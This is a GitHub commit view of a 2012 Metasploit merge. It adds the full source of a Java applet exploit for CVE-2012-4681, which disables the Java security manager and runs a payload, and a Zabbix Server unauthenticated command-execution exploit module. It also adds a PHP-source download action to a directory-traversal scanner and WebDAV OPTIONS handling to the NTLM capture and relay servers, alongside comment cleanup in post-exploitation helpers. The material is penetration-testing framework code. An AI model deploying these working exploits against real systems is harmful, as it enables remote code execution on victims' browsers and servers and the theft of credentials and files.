Skip to content
Browse files

Merge branch 'master' into release

Almost certainly not going to be the final release, but this gets
through the merge conflict on the Java stuff.

Conflicts:
	modules/exploits/multi/browser/java_jre17_exec.rb
  • Loading branch information...
2 parents 78641d6 + 363c091 commit f353c6e6dbdff109ba482d47a0ac3828cfccec63 @todb todb committed Aug 28, 2012
View
BIN data/exploits/CVE-2012-4681/Exploit.class
Binary file not shown.
View
75 external/source/exploits/CVE-2012-4681/Exploit.java
@@ -0,0 +1,75 @@
+//
+// CVE-2012-XXXX Java 0day
+//
+// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
+
+import java.applet.Applet;
+import java.awt.Graphics;
+import java.beans.Expression;
+import java.beans.Statement;
+import java.lang.reflect.Field;
+import java.net.URL;
+import java.security.*;
+import java.security.cert.Certificate;
+import metasploit.Payload;
+
+public class Exploit extends Applet
+{
+
+ public Exploit()
+ {
+ }
+
+ public void disableSecurity()
+ throws Throwable
+ {
+ Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
+ Permissions localPermissions = new Permissions();
+ localPermissions.add(new AllPermission());
+ ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
+ AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
+ localProtectionDomain
+ });
+ SetField(Statement.class, "acc", localStatement, localAccessControlContext);
+ localStatement.execute();
+ }
+
+ private Class GetClass(String paramString)
+ throws Throwable
+ {
+ Object arrayOfObject[] = new Object[1];
+ arrayOfObject[0] = paramString;
+ Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
+ localExpression.execute();
+ return (Class)localExpression.getValue();
+ }
+
+ private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
+ throws Throwable
+ {
+ Object arrayOfObject[] = new Object[2];
+ arrayOfObject[0] = paramClass;
+ arrayOfObject[1] = paramString;
+ Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
+ localExpression.execute();
+ ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
+ }
+
+ public void init()
+ {
+ try
+ {
+ disableSecurity();
+ Payload.main(null);
+ }
+ catch(Throwable localThrowable)
+ {
+ localThrowable.printStackTrace();
+ }
+ }
+
+ public void paint(Graphics paramGraphics)
+ {
+ paramGraphics.drawString("Loading", 50, 25);
+ }
+}
View
1 lib/msf/core/handler/reverse_https.rb
@@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
+require 'msf/core/handler/reverse_http'
module Msf
module Handler
View
4 lib/msf/core/post/common.rb
@@ -80,6 +80,10 @@ def cmd_exec(cmd, args=nil, time_out=15)
return o
end
+ #
+ # Reports to the database that the host is a virtual machine and reports
+ # the type of virtual machine it is (e.g VirtualBox, VMware, Xen)
+ #
def report_vm(vm)
return unless session
return unless vm
View
12 lib/msf/core/post/file.rb
@@ -2,6 +2,9 @@
module Msf::Post::File
+ #
+ # Change directory in the remote session to +path+
+ #
def cd(path)
if session.type == "meterpreter"
e_path = session.fs.file.expand_path(path) rescue path
@@ -11,6 +14,9 @@ def cd(path)
end
end
+ #
+ # Returns the current working directory in the remote session
+ #
def pwd
if session.type == "meterpreter"
return session.fs.dir.getwd
@@ -110,7 +116,7 @@ def file_rm(file)
end
#
- # Writes a given string to a file specified
+ # Writes a given string to a given local file
#
def file_local_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
@@ -141,7 +147,6 @@ def file_local_digestmd5(file2md5)
#
# Returns a MD5 checksum of a given remote file
#
-
def file_remote_digestmd5(file2md5)
data = read_file(file2md5)
chksum = nil
@@ -266,7 +271,8 @@ def append_file(file_name, data)
end
#
- # Read a local file and write it to the remote file system
+ # Read a local file +local+ and write it as +remote+ on the remote file
+ # system
#
def upload_file(remote, local)
write_file(remote, ::File.read(local))
View
2 lib/msf/core/post/linux/priv.rb
@@ -7,7 +7,9 @@ module Linux
module Priv
include ::Msf::Post::Common
+ #
# Returns true if running as root, false if not.
+ #
def is_root?
root_priv = false
user_id = cmd_exec("id -u")
View
5 lib/msf/core/post/linux/system.rb
@@ -9,10 +9,11 @@ module Linux
module System
include ::Msf::Post::Common
include ::Msf::Post::File
-
include ::Msf::Post::Unix
+ #
# Returns a Hash containing Distribution Name, Version and Kernel Information
+ #
def get_sysinfo
system_data = {}
etc_files = cmd_exec("ls /etc").split()
@@ -97,6 +98,6 @@ def get_sysinfo
end # System
-end #Linux
+end # Linux
end # Post
end # Msf
View
160 lib/msf/core/post/osx/system.rb
@@ -7,97 +7,107 @@ class Post
module OSX
module System
include ::Msf::Post::Common
- include ::Msf::Post::File
+ include ::Msf::Post::File
- # Return a hash with system Information
- def get_sysinfo
- system_info = {}
- cmd_output = cmd_exec("/usr/bin/sw_vers").split("\n")
- cmd_output.each do |l|
- field,val = l.chomp.split(":")
- system_info[field] = val.strip
- end
- system_info["Kernel"] = cmd_exec("uname -a")
- system_info["Hostname"] = system_info["Kernel"].split(" ")[1]
-
- return system_info
+ #
+ # Return a hash with system Information
+ #
+ def get_sysinfo
+ system_info = {}
+ cmd_output = cmd_exec("/usr/bin/sw_vers").split("\n")
+ cmd_output.each do |l|
+ field,val = l.chomp.split(":")
+ system_info[field] = val.strip
end
+ system_info["Kernel"] = cmd_exec("uname -a")
+ system_info["Hostname"] = system_info["Kernel"].split(" ")[1]
+
+ return system_info
+ end
- # Returns an array of hashes each representing a user on the system
- # Keys are name, gid, uid, dir and shell
- def get_users
- cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
- users = []
- users_arry = cmd_output.split("\n\n")
- users_arry.each do |u|
- entry = Hash.new
- u.each_line do |l|
- field,val = l.chomp.split(": ")
- next if field == "password"
- entry[field] = val.chomp
+ #
+ # Returns an array of hashes each representing a user on the system
+ # Keys are name, gid, uid, dir and shell
+ #
+ def get_users
+ cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
+ users = []
+ users_arry = cmd_output.split("\n\n")
+ users_arry.each do |u|
+ entry = Hash.new
+ u.each_line do |l|
+ field,val = l.chomp.split(": ")
+ next if field == "password"
+ entry[field] = val.chomp
- end
- users << entry
end
- return users
+ users << entry
end
+ return users
+ end
- # Returns an array of hashes each representing a system accounts on the system
- # Keys are name, gid, uid, dir and shell
- def get_system_accounts
- cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
- users = []
- users_arry = cmd_output.split("\n\n")
- users_arry.each do |u|
- entry = {}
- u.each_line do |l|
- field,val = l.chomp.split(": ")
- next if field == "password"
- entry[field] = val.chomp
- end
- next if entry["name"] !~ /^_/
- users << entry
+ #
+ # Returns an array of hashes each representing a system accounts on the system
+ # Keys are name, gid, uid, dir and shell
+ #
+ def get_system_accounts
+ cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
+ users = []
+ users_arry = cmd_output.split("\n\n")
+ users_arry.each do |u|
+ entry = {}
+ u.each_line do |l|
+ field,val = l.chomp.split(": ")
+ next if field == "password"
+ entry[field] = val.chomp
end
- return users
+ next if entry["name"] !~ /^_/
+ users << entry
end
+ return users
+ end
- # Returns an array of hashes each representing non system accounts on the system
- # Keys are name, gid, uid, dir and shell
- def get_nonsystem_accounts
- cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
- users = []
- users_arry = cmd_output.split("\n\n")
- users_arry.each do |u|
- entry = {}
- u.each_line do |l|
- field,val = l.chomp.split(": ")
- next if field == "password"
- entry[field] = val.chomp
- end
- next if entry["name"] =~ /^_/
- users << entry
+ #
+ # Returns an array of hashes each representing non system accounts on the system
+ # Keys are name, gid, uid, dir and shell
+ #
+ def get_nonsystem_accounts
+ cmd_output = cmd_exec("/usr/bin/dscacheutil -q user")
+ users = []
+ users_arry = cmd_output.split("\n\n")
+ users_arry.each do |u|
+ entry = {}
+ u.each_line do |l|
+ field,val = l.chomp.split(": ")
+ next if field == "password"
+ entry[field] = val.chomp
end
- return users
+ next if entry["name"] =~ /^_/
+ users << entry
end
+ return users
+ end
- # Returns an array of hashes each representing user group on the system
- # Keys are name, guid and users
- def get_groups
- cmd_output = cmd_exec("/usr/bin/dscacheutil -q group")
- groups = []
- groups_arry = cmd_output.split("\n\n")
- groups_arry.each do |u|
- entry = Hash.new
- u.each_line do |l|
- field,val = l.chomp.split(": ")
- next if field == "password"
- entry[field] = val.chomp
+ #
+ # Returns an array of hashes each representing user group on the system
+ # Keys are name, guid and users
+ #
+ def get_groups
+ cmd_output = cmd_exec("/usr/bin/dscacheutil -q group")
+ groups = []
+ groups_arry = cmd_output.split("\n\n")
+ groups_arry.each do |u|
+ entry = Hash.new
+ u.each_line do |l|
+ field,val = l.chomp.split(": ")
+ next if field == "password"
+ entry[field] = val.chomp
- end
- groups << entry
end
- return groups
+ groups << entry
end
+ return groups
+ end
end # System
end # OSX
end # Post
View
18 lib/msf/core/post/solaris/priv.rb
@@ -7,15 +7,17 @@ module Solaris
module Priv
include ::Msf::Post::Common
- # Returns true if running as root, false if not.
- def is_root?
- root_priv = false
- user_id = cmd_exec("/usr/xpg4/bin/id -u")
- if user_id.to_i == 0
- root_priv = true
- end
- return root_priv
+ #
+ # Returns true if running as root, false if not.
+ #
+ def is_root?
+ root_priv = false
+ user_id = cmd_exec("/usr/xpg4/bin/id -u")
+ if user_id.to_i == 0
+ root_priv = true
end
+ return root_priv
+ end
end # Priv
end # Solaris
View
1 lib/msf/core/post/solaris/system.rb
@@ -9,7 +9,6 @@ module Solaris
module System
include ::Msf::Post::Common
include ::Msf::Post::File
-
include ::Msf::Post::Unix
#
View
8 lib/msf/core/post/unix.rb
@@ -4,8 +4,10 @@ module Msf
class Post
module Unix
+ #
# Returns an array of hashes each representing a user
# Keys are name, uid, gid, info, dir and shell
+ #
def get_users
users = []
etc_passwd = nil
@@ -34,8 +36,10 @@ def get_users
return users
end
+ #
# Returns an array of hashes each hash representing a user group
# Keys are name, gid and users
+ #
def get_groups
groups = []
cmd_out = read_file("/etc/group").split("\n")
@@ -50,7 +54,9 @@ def get_groups
return groups
end
- # returns all user directories found
+ #
+ # Enumerates the user directories in /Users or /home
+ #
def enum_user_directories
user_dirs = []
View
10 lib/msf/core/post/windows/eventlog.rb
@@ -4,7 +4,10 @@ class Post
module Windows
module Eventlog
- #enumerate eventlogs
+
+ #
+ # Enumerate eventlogs
+ #
def eventlog_list
key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
if session.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/
@@ -16,7 +19,10 @@ def eventlog_list
return eventlogs
end
- #clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs that where cleared.
+ #
+ # Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs
+ # that where cleared.
+ #
def eventlog_clear(evt = "")
evntlog = []
if evt.empty?
View
39 lib/msf/core/post/windows/powershell.rb
@@ -15,13 +15,18 @@ module Powershell
# Suffix for environment variables
-
+ #
+ # Returns true if powershell is installed
+ #
def have_powershell?
cmd_out = cmd_exec("powershell get-host")
return true if cmd_out =~ /Name.*Version.*InstanceID/
return false
end
+ #
+ # Insert substitutions into the powershell script
+ #
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
@@ -32,6 +37,9 @@ def make_subs(script, subs)
end
end
+ #
+ # Return an array of substitutions for use in make_subs
+ #
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
@@ -41,6 +49,9 @@ def process_subs(subs)
return new_subs
end
+ #
+ # Read in a powershell script stored in +script+
+ #
def read_script(script)
script_in = ''
begin
@@ -60,9 +71,11 @@ def read_script(script)
end
+ #
+ # Return a zlib compressed powershell script
+ #
def compress_script(script_in, eof = nil)
-
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
@@ -96,6 +109,10 @@ def compress_script(script_in, eof = nil)
return encoded_expression
end
+ #
+ # Execute a powershell script and return the results. The script is never written
+ # to disk.
+ #
def execute_script(script, time_out = 15)
running_pids, open_channels = [], []
# Execute using -EncodedCommand
@@ -112,6 +129,13 @@ def execute_script(script, time_out = 15)
return [cmd_out, running_pids, open_channels]
end
+
+ #
+ # Powershell scripts that are longer than 8000 bytes are split into 8000
+ # 8000 byte chunks and stored as environment variables. A new powershell
+ # script is built that will reassemble the chunks and execute the script.
+ # Returns the reassembly script.
+ #
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
@@ -159,6 +183,9 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
return encoded_script
end
+ #
+ # Log the results of the powershell script
+ #
def write_to_log(cmd_out, log_file, eof)
# Open log file for writing
fd = ::File.new(log_file, 'w+')
@@ -181,6 +208,9 @@ def write_to_log(cmd_out, log_file, eof)
return
end
+ #
+ # Clean up powershell script including process and chunks stored in environment variables
+ #
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
@@ -206,5 +236,8 @@ def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [],
return
end
-end; end; end; end
+end
+end
+end
+end
View
9 lib/msf/core/post/windows/railgun.rb
@@ -40,10 +40,16 @@ def lookup_error (err_code, filter_regex=nil)
end
end
+ #
+ # Read +length+ bytes starting at +address+
+ #
def memread(address, length)
railgun.memread(address, length)
end
+ #
+ # Write +length+ bytes starting at +address+
+ #
def memwrite(address, length)
railgun.memwrite(address, length)
end
@@ -52,6 +58,9 @@ def railgun
client.railgun
end
+ #
+ # Returns the pointer size of the remote system
+ #
def pointer_size
railgun.util.pointer_size
end
View
70 lib/msf/core/post/windows/registry.rb
@@ -10,7 +10,9 @@ module Registry
include Msf::Post::Windows::CliParse
-
+ #
+ # Load a hive file
+ #
def registry_loadkey(key,file)
if session_has_registry_ext
retval=meterpreter_registry_loadkey(key,file)
@@ -20,6 +22,9 @@ def registry_loadkey(key,file)
return retval
end
+ #
+ # Unload a hive file
+ #
def registry_unloadkey(key)
if session_has_registry_ext
retval=meterpreter_registry_unloadkey(key)
@@ -141,7 +146,9 @@ def session_has_registry_ext
# Generic registry manipulation methods based on reg.exe
##
-
+ #
+ # Use reg.exe to load the hive file +file+ into +key+
+ #
def shell_registry_loadkey(key,file)
key = normalize_key(key)
boo = false
@@ -158,6 +165,9 @@ def shell_registry_loadkey(key,file)
return boo
end
+ #
+ # Use reg.exe to unload the hive in +key+
+ #
def shell_registry_unloadkey(key)
key = normalize_key(key)
boo = false
@@ -174,6 +184,9 @@ def shell_registry_unloadkey(key)
end
+ #
+ # Use reg.exe to create a new registry key
+ #
def shell_registry_createkey(key)
key = normalize_key(key)
boo = false
@@ -191,6 +204,9 @@ def shell_registry_createkey(key)
end
end
+ #
+ # Use reg.exe to delete +valname+ in +key+
+ #
def shell_registry_deleteval(key, valname)
key = normalize_key(key)
boo = false
@@ -209,6 +225,9 @@ def shell_registry_deleteval(key, valname)
return boo
end
+ #
+ # Use reg.exe to delete +key+ and all its subkeys and values
+ #
def shell_registry_deletekey(key)
key = normalize_key(key)
boo = false
@@ -227,6 +246,9 @@ def shell_registry_deletekey(key)
return boo
end
+ #
+ # Use reg.exe to enumerate all the subkeys in +key+
+ #
def shell_registry_enumkeys(key)
key = normalize_key(key)
subkeys = []
@@ -258,6 +280,9 @@ def shell_registry_enumkeys(key)
return subkeys
end
+ #
+ # Use reg.exe to enumerate all the values in +key+
+ #
def shell_registry_enumvals(key)
key = normalize_key(key)
values = []
@@ -285,6 +310,9 @@ def shell_registry_enumvals(key)
return values
end
+ #
+ # Returns the data portion of the value +valname+
+ #
def shell_registry_getvaldata(key, valname)
value = nil
begin
@@ -294,6 +322,10 @@ def shell_registry_getvaldata(key, valname)
return value
end
+ #
+ # Enumerate the type and data stored in the registry value +valname+ in
+ # +key+
+ #
def shell_registry_getvalinfo(key, valname)
key = normalize_key(key)
value = {}
@@ -319,6 +351,10 @@ def shell_registry_getvalinfo(key, valname)
return value
end
+ #
+ # Use reg.exe to add a value +valname+ in the key +key+ with the specified
+ # +type+ and +data+
+ #
def shell_registry_setvaldata(key, valname, data, type)
key = normalize_key(key)
boo = false
@@ -343,6 +379,9 @@ def shell_registry_setvaldata(key, valname, data, type)
# Meterpreter-specific registry manipulation methods
##
+ #
+ # Load a registry hive stored in +file+ into +key+
+ #
def meterpreter_registry_loadkey(key,file)
begin
client.sys.config.getprivs()
@@ -376,6 +415,9 @@ def meterpreter_registry_loadkey(key,file)
end
+ #
+ # Unload the hive file stored in +key+
+ #
def meterpreter_registry_unloadkey(key)
begin
client.sys.config.getprivs()
@@ -400,6 +442,9 @@ def meterpreter_registry_unloadkey(key)
end
end
+ #
+ # Create a new registry key
+ #
def meterpreter_registry_createkey(key)
begin
root_key, base_key = session.sys.registry.splitkey(key)
@@ -412,6 +457,9 @@ def meterpreter_registry_createkey(key)
end
end
+ #
+ # Delete the registry value +valname+ store in +key+
+ #
def meterpreter_registry_deleteval(key, valname)
begin
root_key, base_key = session.sys.registry.splitkey(key)
@@ -424,6 +472,9 @@ def meterpreter_registry_deleteval(key, valname)
end
end
+ #
+ # Delete the registry key +key+
+ #
def meterpreter_registry_deletekey(key)
begin
root_key, base_key = session.sys.registry.splitkey(key)
@@ -434,6 +485,9 @@ def meterpreter_registry_deletekey(key)
end
end
+ #
+ # Enumerate the subkeys in +key+
+ #
def meterpreter_registry_enumkeys(key)
subkeys = []
begin
@@ -450,6 +504,9 @@ def meterpreter_registry_enumkeys(key)
return subkeys
end
+ #
+ # Enumerate the values in +key+
+ #
def meterpreter_registry_enumvals(key)
values = []
begin
@@ -467,6 +524,9 @@ def meterpreter_registry_enumvals(key)
return values
end
+ #
+ # Get the data stored in the value +valname+
+ #
def meterpreter_registry_getvaldata(key, valname)
value = nil
begin
@@ -481,6 +541,9 @@ def meterpreter_registry_getvaldata(key, valname)
return value
end
+ #
+ # Enumerate the type and data of the value +valname+
+ #
def meterpreter_registry_getvalinfo(key, valname)
value = {}
begin
@@ -496,6 +559,9 @@ def meterpreter_registry_getvalinfo(key, valname)
return value
end
+ #
+ # Add the value +valname+ to the key +key+ with the specified +type+ and +data+
+ #
def meterpreter_registry_setvaldata(key, valname, data, type)
begin
root_key, base_key = session.sys.registry.splitkey(key)
View
40 modules/auxiliary/scanner/http/http_traversal.rb
@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
+
def initialize(info = {})
super(update_info(info,
'Name' => 'Generic HTTP Directory Traversal Utility',
@@ -23,7 +24,8 @@ def initialize(info = {})
directory traversal exists in the web server, and then return the path that
triggers the vulnerability. The 'DOWNLOAD' action shares the same ability as
'CHECK', but will take advantage of the found trigger to download files based on
- a 'FILELIST' of your choosing. The 'WRITABLE' action can be used to determine
+ a 'FILELIST' of your choosing. The 'PHPSOURCE' action can be used to download
+ source against PHP applications. The 'WRITABLE' action can be used to determine
if the trigger can be used to write files outside the www directory.
To use the 'COOKIE' option, set your value like so: "name=value". To use
@@ -41,7 +43,8 @@ def initialize(info = {})
[
['CHECK', {'Description' => 'Check for basic directory traversal'}],
['WRITABLE', {'Description' => 'Check if a traversal bug allows us to write anywhere'}],
- ['DOWNLOAD', {'Description' => 'Attempt to download files after bruteforcing a trigger'}]
+ ['DOWNLOAD', {'Description' => 'Attempt to download files after bruteforcing a trigger'}],
+ ['PHPSOURCE', {'Description' => 'Attempt to retrieve php source code files'}]
],
'DefaultAction' => 'CHECK'
))
@@ -231,7 +234,7 @@ def lfi_download(trigger, files)
req = ini_request(uri = (datastore['PATH'] + trigger + f).chop)
res = send_request_cgi(req, 25)
- vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}")
+ vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res
# Only download files that are withint our interest
if res and res.to_s =~ datastore['PATTERN']
@@ -245,6 +248,31 @@ def lfi_download(trigger, files)
print_status("#{counter.to_s} file(s) downloaded")
end
+
+ #
+ # Action 'PHPSOURCE': Used to grab the php source code
+ #
+ def php_download(files)
+ counter = 0
+ files.each_line do |f|
+ # Our trigger already puts us in '/', so our filename doesn't need to begin with that
+ f = f[1,f.length] if f =~ /^\//
+
+ req = ini_request(uri = (datastore['PATH'] + "php://filter/read=convert.base64-encode/resource=" + f).chop)
+ res = send_request_cgi(req, 25)
+
+ vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res
+
+ # We assume the string followed by the last '/' is our file name
+ fname = f.split("/")[-1].chop
+ loot = store_loot("php.data","text/plain",rhost,Rex::Text.decode_base64(res.body),fname)
+ print_good("File #{fname} downloaded to: #{loot}")
+ counter += 1
+ end
+ print_status("#{counter.to_s} source code file(s) downloaded")
+ end
+
+
#
# Action 'WRITABLE': This method will attempt to write to a directory outside of www
#
@@ -321,6 +349,12 @@ def run_host(ip)
return if trigger.nil?
is_writable(trigger)
+ elsif action.name == 'PHPSOURCE'
+ trigger = ini_trigger
+ return if trigger.nil?
+ files = load_filelist
+ php_download(files)
+
elsif action.name == 'DOWNLOAD'
trigger = ini_trigger
return if trigger.nil?
View
52 modules/auxiliary/server/capture/http_ntlm.rb
@@ -67,23 +67,28 @@ def initialize(info = {})
def on_request_uri(cli, request)
print_status("Request '#{request.uri}'...")
-
- # If the host has not started auth, send 401 authenticate with only the NTLM option
- if(!request.headers['Authorization'])
- response = create_response(401, "Unauthorized")
- response.headers['WWW-Authenticate'] = "NTLM"
- cli.send_response(response)
+
+ case request.method
+ when 'OPTIONS'
+ process_options(cli, request)
else
- method,hash = request.headers['Authorization'].split(/\s+/,2)
- # If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
- if(method != "NTLM")
- print_status("Unrecognized Authorization header, responding with 404")
- send_not_found(cli)
- return false
- end
+ # If the host has not started auth, send 401 authenticate with only the NTLM option
+ if(!request.headers['Authorization'])
+ response = create_response(401, "Unauthorized")
+ response.headers['WWW-Authenticate'] = "NTLM"
+ cli.send_response(response)
+ else
+ method,hash = request.headers['Authorization'].split(/\s+/,2)
+ # If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
+ if(method != "NTLM")
+ print_status("Unrecognized Authorization header, responding with 404")
+ send_not_found(cli)
+ return false
+ end
- response = handle_auth(cli,hash)
- cli.send_response(response)
+ response = handle_auth(cli,hash)
+ cli.send_response(response)
+ end
end
end
@@ -96,6 +101,23 @@ def run
end
exploit()
end
+
+ def process_options(cli, request)
+ print_status("OPTIONS #{request.uri}")
+ headers = {
+ 'MS-Author-Via' => 'DAV',
+ 'DASL' => '<DAV:sql>',
+ 'DAV' => '1, 2',
+ 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
+ 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
+ 'Cache-Control' => 'private'
+ }
+ resp = create_response(207, "Multi-Status")
+ headers.each_pair {|k,v| resp[k] = v }
+ resp.body = ""
+ resp['Content-Type'] = 'text/xml'
+ cli.send_response(resp)
+ end
def handle_auth(cli,hash)
#authorization string is base64 encoded message
View
72 modules/auxiliary/server/http_ntlmrelay.rb
@@ -93,44 +93,66 @@ def initialize(info = {})
# Handles the initial requests waiting for the browser to try NTLM auth
def on_request_uri(cli, request)
+
+ case request.method
+ when 'OPTIONS'
+ process_options(cli, request)
+ else
+ datastore['REQUEST_IP'] = cli.peerhost
+ cli.keepalive = true;
- datastore['REQUEST_IP'] = cli.peerhost
- cli.keepalive = true;
+ # If the host has not started auth, send 401 authenticate with only the NTLM option
+ if(!request.headers['Authorization'])
+ response = create_response(401, "Unauthorized")
+ response.headers['WWW-Authenticate'] = "NTLM"
+ response.headers['Proxy-Support'] = 'Session-Based-Authentication'
- # If the host has not started auth, send 401 authenticate with only the NTLM option
- if(!request.headers['Authorization'])
- response = create_response(401, "Unauthorized")
- response.headers['WWW-Authenticate'] = "NTLM"
- response.headers['Proxy-Support'] = 'Session-Based-Authentication'
+ response.body =
+ "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
- response.body =
- "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
+ cli.send_response(response)
+ return false
+ end
+ method,hash = request.headers['Authorization'].split(/\s+/,2)
+ # If the method isn't NTLM something odd is goign on.
+ # Regardless, this won't get what we want, 404 them
+ if(method != "NTLM")
+ print_status("Unrecognized Authorization header, responding with 404")
+ send_not_found(cli)
+ return false
+ end
- cli.send_response(response)
- return false
- end
- method,hash = request.headers['Authorization'].split(/\s+/,2)
- # If the method isn't NTLM something odd is goign on.
- # Regardless, this won't get what we want, 404 them
- if(method != "NTLM")
- print_status("Unrecognized Authorization header, responding with 404")
- send_not_found(cli)
- return false
- end
+ print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
- print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
+ if (datastore['SYNCFILE'] != nil)
+ sync_options()
+ end
- if (datastore['SYNCFILE'] != nil)
- sync_options()
+ handle_relay(cli,hash)
end
-
- handle_relay(cli,hash)
end
def run
parse_args()
exploit()
end
+
+ def process_options(cli, request)
+ print_status("OPTIONS #{request.uri}")
+ headers = {
+ 'MS-Author-Via' => 'DAV',
+ 'DASL' => '<DAV:sql>',
+ 'DAV' => '1, 2',
+ 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
+ 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
+ 'Cache-Control' => 'private'
+ }
+ resp = create_response(207, "Multi-Status")
+ headers.each_pair {|k,v| resp[k] = v }
+ resp.body = ""
+ resp['Content-Type'] = 'text/xml'
+ cli.send_response(resp)
+ end
#The call to handle_relay should be a victim HTTP type 1 request
def handle_relay(cli_sock, hash)
View
1 modules/exploits/linux/http/esva_exec.rb
@@ -29,6 +29,7 @@ def initialize(info={})
],
'References' =>
[
+ [ 'BID', '55050'],
[ 'EDB', '20551' ]
],
'Payload' =>
View
148 modules/exploits/linux/misc/zabbix_server_exec.rb
@@ -0,0 +1,148 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::Tcp
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Zabbix Server Arbitrary Command Execution',
+ 'Description' => %q{
+ This module abuses the "Command" trap in Zabbix Server to execute arbitrary
+ commands without authentication. By default the Node ID "0" is used, if it doesn't
+ work, the Node ID is leaked from the error message and exploitation retried.
+
+ According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
+ has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
+ },
+ 'Author' =>
+ [
+ 'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
+ 'juan vazquez' # Metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2009-4498' ],
+ [ 'OSVDB', '60965' ],
+ [ 'BID', '37989' ],
+ [ 'EDB', '10432' ],
+ [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
+ ],
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Privileged' => false,
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'generic telnet',
+ # *_perl, *_python and *_ruby work if they are installed
+ }
+ },
+ 'Targets' =>
+ [
+ [ 'Zabbix 1.6.7', { } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Sep 10 2009'
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(10051),
+ ], self.class)
+ end
+
+ def send_command(sock, node_id, cmd)
+ host_id = Rex::Text.rand_text_numeric(3)
+ msg = "Command\255"
+ msg << "#{node_id}\255"
+ msg << "#{host_id}\255"
+ msg << "#{cmd}\n"
+ sock.put(msg)
+ res = sock.get_once
+ return res
+ end
+
+ def check
+ peer = "#{rhost}:#{rport}"
+ node_id = 0
+ clue = Rex::Text.rand_text_alpha(rand(5)+5)
+ cmd = "echo #{clue}"
+
+ connect
+ print_status("#{peer} - Sending 'Command' request...")
+ res = send_command(sock, node_id, cmd)
+ disconnect
+
+ if res
+ print_status(res)
+ if res =~ /#{clue}/
+ return Exploit::CheckCode::Vulnerable
+ elsif res =~ /-1/ and res=~ /NODE (\d*)/
+ node_id = $1
+ print_good("#{peer} - Node ID #{node_id} discovered")
+ else
+ return Exploit::CheckCode::Safe
+ end
+ else # No response
+ return Exploit::CheckCode::Safe
+ end
+
+ # Retry with the good node_id
+ connect
+ print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
+ res = send_command(sock, node_id, cmd)
+ disconnect
+ if res and res =~ /#{clue}/
+ return Exploit::CheckCode::Vulnerable
+ end
+ return Exploit::CheckCode::Safe
+ end
+
+ def exploit
+ peer = "#{rhost}:#{rport}"
+ node_id = 0
+ cmd = payload.encoded
+
+ connect
+ print_status("#{peer} - Sending 'Command' request...")
